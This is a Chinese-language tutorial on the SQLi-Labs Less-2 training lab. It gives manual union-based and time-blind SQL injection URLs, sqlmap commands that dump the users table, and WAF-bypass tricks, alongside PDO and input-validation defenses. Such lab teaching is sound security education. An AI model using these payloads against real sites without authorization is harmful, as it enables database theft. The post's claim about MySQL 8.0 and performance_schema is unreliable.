1. 数字型GET注入实战环境搭建
作为Web安全领域的经典靶场,SQLi-Labs的Less-2关卡专门设计用于演示数字型GET注入漏洞。我们先从环境准备开始,这是后续所有测试的基础。
1.1 SQLi-Labs靶场部署要点
我推荐使用Docker快速部署SQLi-Labs环境,这是目前最稳定的方式。执行以下命令即可完成部署:
bash复制docker pull acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 80:80 acgpiano/sqli-labs
部署完成后访问http://localhost,点击"Setup/reset Database"链接初始化数据库。这里有个关键细节:如果使用非Docker方式安装,需要手动修改sql-connections/db-creds.inc文件中的数据库凭证,而Docker版已自动配置好。
注意:部分Linux系统可能需要使用
sudo docker命令,且80端口被占用时可改用-p 8080:80参数
1.2 Less-2关卡特性分析
Less-2的注入点URL结构为:
code复制http://localhost/Less-2/?id=1
与Less-1的字符串型注入不同,Less-2存在以下显著特征:
- 参数值直接参与SQL运算,无需引号包裹
- 错误信息会暴露SQL语句片段
- 后端查询结构通常为:
SELECT * FROM users WHERE id=$id
通过修改id参数值为1 and 1=2,可以立即观察到页面返回异常,这是数字型注入的典型表现。我建议同时使用Burp Suite拦截请求,方便观察原始HTTP报文。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 手工注入全流程解析
2.1 注入点确认与信息探测
首先验证注入点有效性:
code复制http://localhost/Less-2/?id=1 and 1=1 --+ # 正常返回
http://localhost/Less-2/?id=1 and 1=2 --+ # 异常返回
确认存在注入后,通过order by子句判断字段数:
code复制http://localhost/Less-2/?id=1 order by 3 --+ # 正常
http://localhost/Less-2/?id=1 order by 4 --+ # 报错
技巧:
--+是SQL注释符,用于截断后续SQL语句。在URL中需要编码为--%20
2.2 联合查询提取数据
确定字段数后,使用union select获取关键信息:
code复制http://localhost/Less-2/?id=-1 union select 1,2,3 --+
这个步骤有几个关键点:
- 原查询需要返回空结果(所以用id=-1)
- 页面会显示union查询中哪个位置可回显数据
- 通过替换可回显位置的数字为函数,逐步获取信息
实战中我常用的信息收集顺序:
- 数据库版本:
version() - 当前数据库:
database() - 服务器系统:
@@version_compile_os
2.3 数据表与字段枚举
获取数据库名后,需要提取具体表结构。以security数据库为例:
code复制http://localhost/Less-2/?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+
获取users表字段:
code复制http://localhost/Less-2/?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+
避坑提示:MySQL 8.0+版本中information_schema的查询方式有变化,需要改用
performance_schema
3. 自动化工具辅助注入
3.1 SQLmap基础用法
虽然手工注入有助于理解原理,但实际渗透测试中常使用自动化工具。以下是SQLmap针对Less-2的典型命令:
bash复制sqlmap -u "http://localhost/Less-2/?id=1" --risk=3 --level=5 --batch
关键参数说明:
--risk=3:允许使用危险操作(如INSERT)--level=5:最大检测级别--batch:自动选择默认选项
3.2 针对性数据提取技巧
获取指定表数据的高级用法:
bash复制sqlmap -u "http://localhost/Less-2/?id=1" --tables -D security
sqlmap -u "http://localhost/Less-2/?id=1" --dump -T users -D security
我习惯添加--flush-session参数避免缓存干扰,同时使用--threads 5加速检测过程。对于大型数据库,可以先用--count统计数据量再决定是否全量导出。
4. 防御方案与原理剖析
4.1 数字型注入的根源分析
Less-2漏洞的根本原因是直接将用户输入拼接到SQL语句:
php复制$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id=$id";
与字符串型注入不同,数字型注入不需要闭合引号,直接通过算术运算或布尔逻辑即可实施攻击。
4.2 参数化查询实现
PHP中的防御方案(使用PDO):
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
关键点在于:
- 使用预处理语句分离SQL结构与数据
- 自动处理类型转换
- 防止任何形式的SQL拼接
4.3 输入验证的边界条件
除了参数化查询,还应添加严格的输入验证:
php复制if (!is_numeric($_GET['id']) || $_GET['id'] <= 0) {
die('Invalid input');
}
但要注意几个常见误区:
- 不要依赖黑名单过滤(如删除空格、关键词)
- 正则表达式无法覆盖所有边界情况
- 前端验证不能替代后端防护
5. 实战中的进阶技巧
5.1 盲注场景下的处理
当页面没有明显回显时,可以采用基于时间的盲注技术:
code复制http://localhost/Less-2/?id=1 and if(ascii(substr(database(),1,1))>100,sleep(3),0) --+
我常用的优化技巧:
- 使用二分查找法缩小字符范围
- 结合Burp Suite的Intruder模块自动化测试
- 注意网络延迟对时间判断的影响
5.2 绕过WAF的奇技淫巧
遇到WAF防护时可以尝试:
- 注释符拆分:
/*!50000select*/ - 空白字符变异:
%0a、%0d等 - 大小写混合:
SeLeCt - 十六进制编码:
0x73656C656374
重要提示:所有测试应在授权环境下进行,未经授权的测试可能违反法律法规
6. 从漏洞利用到代码审计
6.1 后端代码还原分析
通过错误信息可以反推后端代码逻辑。Less-2的典型错误提示:
code复制You have an error in your SQL syntax... near '1'') LIMIT 0,1'
这表明原始SQL可能是:
php复制$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
6.2 审计中的常见模式识别
在代码审计时我重点关注以下模式:
- 直接拼接
$_GET、$_POST变量的SQL语句 - 使用
mysql_query()等过时函数 - 动态表名或字段名的构建
- 多重转义导致的防护失效
6.3 安全开发最佳实践
根据OWASP推荐,应该:
- 使用ORM框架或预编译语句
- 实施最小权限原则
- 关闭错误回显
- 定期进行安全扫描
在实际项目中,我会在CI/CD流程中加入SQL注入检测环节,使用工具如SonarQube进行自动化代码审计。
